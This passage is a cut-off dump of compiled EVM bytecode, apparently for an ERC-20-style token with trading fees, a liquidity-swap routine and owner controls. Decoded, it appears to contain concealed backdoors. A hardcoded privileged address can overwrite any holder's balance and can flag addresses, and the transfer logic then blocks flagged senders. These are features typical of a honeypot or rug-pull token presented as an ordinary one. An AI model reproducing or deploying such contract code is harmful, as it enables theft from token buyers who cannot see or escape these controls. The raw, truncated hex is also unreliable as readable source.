87e1790919060201c565b62000bb260201b6200287e1790919060201c565b6018819055506200078a6016546200077660155460145462000bb260201b6200287e1790919060201c565b62000bb260201b6200287e1790919060201c565b601981905550600160096000620007a662000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620008df62000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073517c44039a5bbf96b8991574867b622cc89cff80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073517c44039a5bbf96b8991574867b622cc89cff80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000ac362000b8160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000b1162000b8160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000b72919062000da6565b60405180910390a3506200115e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000bc3919062000dd4565b90508381101562000c0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c029062000d84565b60405180910390fd5b8091505092915050565b82805462000c239062001075565b90600052602060002090601f01602090048101928262000c47576000855562000c93565b82601f1062000c6257805160ff191683800117855562000c93565b8280016001018555821562000c93579182015b8281111562000c9257825182559160200191906001019062000c75565b5b50905062000ca2919062000ca6565b5090565b5b8082111562000cc157600081600090555060010162000ca7565b5090565b60008151905062000cd68162001144565b92915050565b60006020828403121562000cf55762000cf462001109565b5b600062000d058482850162000cc5565b91505092915050565b62000d19816200102a565b82525050565b600062000d2e601b8362000dc3565b915062000d3b826200111b565b602082019050919050565b62000d51816200105e565b82525050565b600060408201905062000d6e600083018562000d0e565b62000d7d602083018462000d0e565b9392505050565b6000602082019050818103600083015262000d9f8162000d1f565b9050919050565b600060208201905062000dbd600083018462000d46565b92915050565b600082825260208201905092915050565b600062000de1826200105e565b915062000dee836200105e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000e265762000e25620010ab565b5b828201905092915050565b6000808291508390505b600185111562000e835780860481111562000e5b5762000e5a620010ab565b5b600185161562000e6b5780820291505b808102905062000e7b856200110e565b945062000e3b565b94509492505050565b600062000e99826200105e565b915062000ea68362001068565b925062000ed57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000edd565b905092915050565b60008262000eef576001905062000fc2565b8162000eff576000905062000fc2565b816001811462000f18576002811462000f235762000f59565b600191505062000fc2565b60ff84111562000f385762000f37620010ab565b5b8360020a91508482111562000f525762000f51620010ab565b5b5062000fc2565b5060208310610133831016604e8410600b841016171562000f935782820a90508381111562000f8d5762000f8c620010ab565b5b62000fc2565b62000fa2848484600162000e31565b9250905081840481111562000fbc5762000fbb620010ab565b5b81810290505b9392505050565b600062000fd6826200105e565b915062000fe3836200105e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200101f576200101e620010ab565b5b828202905092915050565b600062001037826200103e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200108e57607f821691505b60208210811415620010a557620010a4620010da565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200114f816200102a565b81146200115b57600080fd5b50565b60805160601c614ae362001184600039600081816110fd01526111290152614ae36000f3fe6080604052600436106103905760003560e01c80638b42507f116101dc578063c5d2418911610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063da00097d14610ceb578063dc44b6a014610d16578063dd62ed3e14610d41578063f0cd1dac14610d7e57610397565b8063c867d60b116100dc578063c867d60b14610c2f578063cab0347114610c6c578063d1eb7f6b14610c97578063d469a20914610cc257610397565b8063c5d2418914610bae578063c816841b14610bd9578063c860795214610c0457610397565b8063a457c2d71161017a578063ae2116b811610149578063ae2116b814610af4578063c2d4640e14610b31578063c469b6dd14610b5a578063c49b9a8014610b8557610397565b8063a457c2d714610a26578063a5d69d1f14610a63578063a83f53a714610a8c578063a9059cbb14610ab757610397565b80639d0710e1116101b65780639d0710e11461097e578063a073d37f146109a7578063a08e671f146109d2578063a2a62722146109fd57610397565b80638b42507f146108eb5780638da5cb5b1461092857806395d89b411461095357610397565b80633b97084a116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a51461083f578063807c2d9c1461086a57806382eefb431461089557806388790a68146108c057610397565b806361a23c69146107855780636249faf1146107b057806370a08231146107d957806377f31d031461081657610397565b80634a74bb021161029b5780634a74bb02146106b5578063565904be146106e057806357a5802f1461071d5780635881f3ef1461074857610397565b80633b97084a146106265780633ecad2711461064f5780634847a79c1461068c57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056c578063313ce5671461059557806335d23615146105c057806339509351146105e957610397565b80632563ae83146104ed57806327c8f835146105165780632b112e491461054157610397565b806314fbb4a71161036a57806314fbb4a71461042f5780631694505e1461045a57806318160ddd1461048557806323b872dd146104b057610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be9190614289565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613d77565b610ef5565b6040516103fb9190614253565b60405180910390f35b34801561041057600080fd5b50610419610f13565b60405161042691906141ae565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b604051610451919061438b565b60405180910390f35b34801561046657600080fd5b5061046f610f3f565b60405161047c919061426e565b60405180910390f35b34801561049157600080fd5b5061049a610f65565b6040516104a7919061438b565b60405180910390f35b3480156104bc57600080fd5b506104d760048036038101906104d29190613d24565b610f6f565b6040516104e49190614253565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190613e77565b611049565b005b34801561052257600080fd5b5061052b6110fb565b6040516105389190614193565b60405180910390f35b34801561054d57600080fd5b5061055661111f565b604051610563919061438b565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e9190613c8a565b611163565b005b3480156105a157600080fd5b506105aa61123c565b6040516105b79190614430565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190613c8a565b611253565b005b3480156105f557600080fd5b50610610600480360381019061060b9190613d77565b61132c565b60405161061d9190614253565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190613ea4565b6113df565b005b34801561065b57600080fd5b5061067660048036038101906106719190613c8a565b61147e565b6040516106839190614253565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190613d77565b61149e565b005b3480156106c157600080fd5b506106ca61151c565b6040516106d79190614253565b60405180910390f35b3480156106ec57600080fd5b5061070760048036038101906107029190613c8a565b61152f565b6040516107149190614253565b60405180910390f35b34801561072957600080fd5b5061073261154f565b60405161073f919061438b565b60405180910390f35b34801561075457600080fd5b5061076f600480360381019061076a9190613c8a565b611555565b60405161077c9190614193565b60405180910390f35b34801561079157600080fd5b5061079a611ab3565b6040516107a7919061438b565b60405180910390f35b3480156107bc57600080fd5b506107d760048036038101906107d29190613db7565b611ab9565b005b3480156107e557600080fd5b5061080060048036038101906107fb9190613c8a565b611bf3565b60405161080d919061438b565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613db7565b611c3c565b005b34801561084b57600080fd5b50610854611d76565b604051610861919061438b565b60405180910390f35b34801561087657600080fd5b5061087f611d7c565b60405161088c919061438b565b60405180910390f35b3480156108a157600080fd5b506108aa611d82565b6040516108b7919061438b565b60405180910390f35b3480156108cc57600080fd5b506108d5611d88565b6040516108e2919061438b565b60405180910390f35b3480156108f757600080fd5b50610912600480360381019061090d9190613c8a565b611d8e565b60405161091f9190614253565b60405180910390f35b34801561093457600080fd5b5061093d611dae565b60405161094a9190614193565b60405180910390f35b34801561095f57600080fd5b50610968611dd7565b6040516109759190614289565b60405180910390f35b34801561098a57600080fd5b506109a560048036038101906109a09190613e17565b611e69565b005b3480156109b357600080fd5b506109bc611fd3565b6040516109c9919061438b565b60405180910390f35b3480156109de57600080fd5b506109e7611fdd565b6040516109f4919061438b565b60405180910390f35b348015610a0957600080fd5b50610a246004803603810190610a1f9190613ed1565b611fe3565b005b348015610a3257600080fd5b50610a4d6004803603810190610a489190613d77565b6120c3565b604051610a5a9190614253565b60405180910390f35b348015610a6f57600080fd5b50610a8a6004803603810190610a859190613e77565b612190565b005b348015610a9857600080fd5b50610aa1612242565b604051610aae919061438b565b60405180910390f35b348015610ac357600080fd5b50610ade6004803603810190610ad99190613d77565b612248565b604051610aeb9190614253565b60405180910390f35b348015610b0057600080fd5b50610b1b6004803603810190610b169190613c8a565b612267565b604051610b289190614253565b60405180910390f35b348015610b3d57600080fd5b50610b586004803603810190610b539190613ed1565b612287565b005b348015610b6657600080fd5b50610b6f612367565b604051610b7c919061438b565b60405180910390f35b348015610b9157600080fd5b50610bac6004803603810190610ba79190613e77565b61236d565b005b348015610bba57600080fd5b50610bc3612456565b604051610bd0919061438b565b60405180910390f35b348015610be557600080fd5b50610bee61245c565b604051610bfb9190614193565b60405180910390f35b348015610c1057600080fd5b50610c19612482565b604051610c26919061438b565b60405180910390f35b348015610c3b57600080fd5b50610c566004803603810190610c519190613c8a565b612488565b604051610c639190614253565b60405180910390f35b348015610c7857600080fd5b50610c816124a8565b604051610c8e919061438b565b60405180910390f35b348015610ca357600080fd5b50610cac6124ae565b604051610cb991906141ae565b60405180910390f35b348015610cce57600080fd5b50610ce96004803603810190610ce49190613ed1565b6124d4565b005b348015610cf757600080fd5b50610d006125b4565b604051610d0d9190614253565b60405180910390f35b348015610d2257600080fd5b50610d2b6125c7565b604051610d38919061438b565b60405180910390f35b348015610d4d57600080fd5b50610d686004803603810190610d639190613ce4565b6125cd565b604051610d75919061438b565b60405180910390f35b348015610d8a57600080fd5b50610d93612654565b604051610da0919061438b565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb9190613ea4565b61265a565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613c8a565b6126f9565b604051610e069190614253565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613c8a565b612719565b005b348015610e4457600080fd5b50610e4d61286b565b604051610e5a9190614253565b60405180910390f35b606060028054610e7290614697565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e90614697565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f026128dc565b84846128e4565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f7c848484612aaf565b5061103e84610f896128dc565b61103985604051806060016040528060288152602001614a6160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fef6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b600190509392505050565b6110516128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d59061432b565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061115e61114d7f0000000000000000000000000000000000000000000000000000000000000000611bf3565b601a54612f4c90919063ffffffff16565b905090565b61116b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef9061432b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b61125b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df9061432b565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113d56113396128dc565b846113d0856007600061134a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b6113e76128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b9061432b565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6114ca600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612f96565b6114d357611518565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60159054906101000a900460ff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b60145481565b600061155f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e39061432b565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561163757600080fd5b505afa15801561164b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166f9190613cb7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116d157600080fd5b505afa1580156116e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117099190613cb7565b6040518363ffffffff1660e01b81526004016117269291906141c9565b60206040518083038186803b15801561173e57600080fd5b505afa158015611752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117769190613cb7565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611937578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117f357600080fd5b505afa158015611807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182b9190613cb7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561188d57600080fd5b505afa1580156118a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c59190613cb7565b6040518363ffffffff1660e01b81526004016118e29291906141c9565b602060405180830381600087803b1580156118fc57600080fd5b505af1158015611910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119349190613cb7565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611ac16128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b459061432b565b60405180910390fd5b60005b83839050811015611bed578160096000868685818110611b7457611b7361479f565b5b9050602002016020810190611b899190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611be5906146c9565b915050611b51565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c446128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc89061432b565b60405180910390fd5b60005b83839050811015611d70578160086000868685818110611cf757611cf661479f565b5b9050602002016020810190611d0c9190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d68906146c9565b915050611cd4565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611de690614697565b80601f0160208091040260200160405190810160405280929190818152602001828054611e1290614697565b8015611e5f5780601f10611e3457610100808354040283529160200191611e5f565b820191906000526020600020905b815481529060010190602001808311611e4257829003601f168201915b5050505050905090565b611e95600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612f96565b611e9e57611fce565b60005b83839050811015611fcc5760058260ff1614611f3b576001600d6000868685818110611ed057611ecf61479f565b5b9050602002016020810190611ee59190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611fbb565b6000600d6000868685818110611f5457611f5361479f565b5b9050602002016020810190611f699190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80611fc5906146c9565b9050611ea1565b505b505050565b6000601d54905090565b60195481565b611feb6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206f9061432b565b60405180910390fd5b8260118190555081601281905550806013819055506120b86013546120aa60125460115461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b60006121866120d06128dc565b8461218185604051806060016040528060258152602001614a8960259139600760006120fa6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b6001905092915050565b6121986128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c9061432b565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b600061225c6122556128dc565b8484612aaf565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b61228f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461231c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123139061432b565b60405180910390fd5b82601481905550816015819055508060168190555061235c60165461234e60155460145461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b60105481565b6123756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f99061432b565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161244b9190614253565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6124dc6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612569576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125609061432b565b60405180910390fd5b82600e8190555081600f81905550806010819055506125a960105461259b600f54600e5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b6126626128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e69061432b565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6127216128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a59061432b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600080828461288d91906144a0565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c9906142eb565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b9061436b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906142cb565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa2919061438b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b179061434b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906142ab565b60405180910390fd5b601f60149054906101000a900460ff1615612bb757612bb0848484612fcf565b9050612ee1565b6000612bc230611bf3565b90506000601d548210159050808015612be85750601f60149054906101000a900460ff16155b8015612c3e5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c565750601f60159054906101000a900460ff165b15612c8057601f60169054906101000a900460ff1615612c7657601d5491505b612c7f826131a2565b5b612c8986613393565b15612d2457612ce084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f4c90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dc75750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddb57612dd68787876133d8565b612ddd565b845b9050612e3181600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ed1919061438b565b60405180910390a3600193505050505b9392505050565b6000838311158290612f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f279190614289565b60405180910390fd5b5060008385612f3f9190614581565b9050809150509392505050565b6000612f8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee8565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600061305a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ef82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161318f919061438b565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff02191690831515021790555060006131fb60026131ed6019546131df601454876136a890919063ffffffff16565b61372390919063ffffffff16565b61372390919063ffffffff16565b905060006132128284612f4c90919063ffffffff16565b905061321d8161376d565b6000479050600061324e61323d600260145461372390919063ffffffff16565b601954612f4c90919063ffffffff16565b9050600061328c600261327e84613270601454886136a890919063ffffffff16565b61372390919063ffffffff16565b61372390919063ffffffff16565b905060006132b7836132a9601654876136a890919063ffffffff16565b61372390919063ffffffff16565b905060006132e0826132d28588612f4c90919063ffffffff16565b612f4c90919063ffffffff16565b9050600081111561331857613317600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826139f8565b5b600082111561334e5761334d600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836139f8565b5b60008311801561335e5750600087115b1561336e5761336d8784613a43565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166133b7600154613b37565b73ffffffffffffffffffffffffffffffffffffffff16141515159050919050565b60008060009050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661348857600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561348757600080fd5b5b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135095761350260646134f4601754866136a890919063ffffffff16565b61372390919063ffffffff16565b9050613587565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613586576135836064613575601854866136a890919063ffffffff16565b61372390919063ffff